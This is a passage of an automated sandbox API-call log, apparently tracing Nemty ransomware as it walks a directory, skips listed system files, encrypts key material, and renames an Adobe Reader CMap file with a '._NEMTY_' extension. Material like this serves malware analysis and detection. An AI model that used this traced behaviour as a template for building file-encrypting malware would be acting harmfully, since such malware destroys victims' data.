returned -1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="boot.ini") returned -1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="AUTOEXEC.BAT") returned -1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="ntuser.dat") returned -1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="desktop.ini") returned -1 [0199.286] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="CONFIG.SYS") returned -1 [0199.287] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="RECYCLER") returned -1 [0199.287] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="BOOTSECT.BAK") returned -1 [0199.287] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="bootmgr") returned -1 [0199.287] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="programdata") returned -1 [0199.287] lstrcmpiW (lpString1="Adobe-GB1-H-CID", lpString2="appdata") returned -1 [0199.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-CID", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0199.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-CID", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-H-CID", lpUsedDefaultChar=0x0) returned 15 [0199.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-CID", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0199.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-CID", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-H-CID", lpUsedDefaultChar=0x0) returned 15 [0199.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-CID", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0199.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-CID", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-H-CID", lpUsedDefaultChar=0x0) returned 15 [0199.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-CID", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0199.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-CID", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-H-CID", lpUsedDefaultChar=0x0) returned 15 [0199.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0199.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0199.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0199.287] Sleep (dwMilliseconds=0x5) [0199.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a6e8250, dwHighDateTime=0x1d561e8)) [0199.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2a6e8250, dwHighDateTime=0x1d561e8)) [0199.288] GetLastError () returned 0x5 [0199.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0199.288] GetLastError () returned 0x5 [0199.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0199.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.288] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0199.288] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0199.288] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0199.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0199.288] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="E5Oz5Ys1JirfvT+mGRonoFr2mvtLagmB78AoAIjb1Vvy2asZpkqszxFuUNgVpe9A\r\nJczOxFFrjWVgzAfTOhXGpvOC3bm+99mn5B4Ci+6q3kEWdB/Q6gxWAWNZ8rQMiGuQ\r\nbt4ZPhSD1VWupVTkNn1elABUHwYomlRZ3rKsCOIb5S8bUm0qUZrL3rKjTZn5ZG+1\r\n4V1QS7MGt9WwEVFwAjg1MHWYoqrXFIUzU6jb4a8zw88NCVkhDkkBrZ6/HTwaSh5k\r\nXxdPl2BQsgD872HCLXiNgaRp8/xkNADayqlI35cCIltimdcNFooDodgMrJGYA+L1\r\n0exLNXPP8okxoM5wZlwDag==\r\n", pcchString=0x653e91c) returned 1 [0199.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0199.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0199.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0199.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0199.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0199.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-cid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0199.289] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0199.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0199.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.289] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0199.405] CloseHandle (hObject=0xffffffff) returned 0 [0199.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0199.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0199.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0199.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0199.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0199.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0199.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.405] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-cid"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-cid._nemty_kgobjgd_")) returned 0 [0199.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0199.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0199.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0199.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0199.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0199.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0199.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0199.405] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x170e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Host", cAlternateFileName="AD3180~1")) returned 1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2=".") returned 1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="..") returned 1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="...") returned 1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="windows") returned -1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="$RECYCLE.BIN") returned 1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="rsa") returned -1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="NTDETECT.COM") returned -1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="ntldr") returned -1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="MSDOS.SYS") returned -1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="IO.SYS") returned -1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="boot.ini") returned -1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="boot.ini") returned -1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="AUTOEXEC.BAT") returned -1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="ntuser.dat") returned -1 [0199.406] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="desktop.ini") returned -1 [0199.407] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="CONFIG.SYS") returned -1 [0199.407] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="RECYCLER") returned -1 [0199.407] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="BOOTSECT.BAK") returned -1 [0199.407] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="bootmgr") returned -1 [0199.407] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="programdata") returned -1 [0199.407] lstrcmpiW (lpString1="Adobe-GB1-H-Host", lpString2="appdata") returned -1 [0199.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0199.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0199.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Host", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-H-Host", lpUsedDefaultChar=0x0) returned 16 [0199.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0199.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0199.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-H-Host", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-H-Host", lpUsedDefaultChar=0x0) returned 16 [0199.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0199.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0199.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0199.407] WideCharToMultiByte (in: 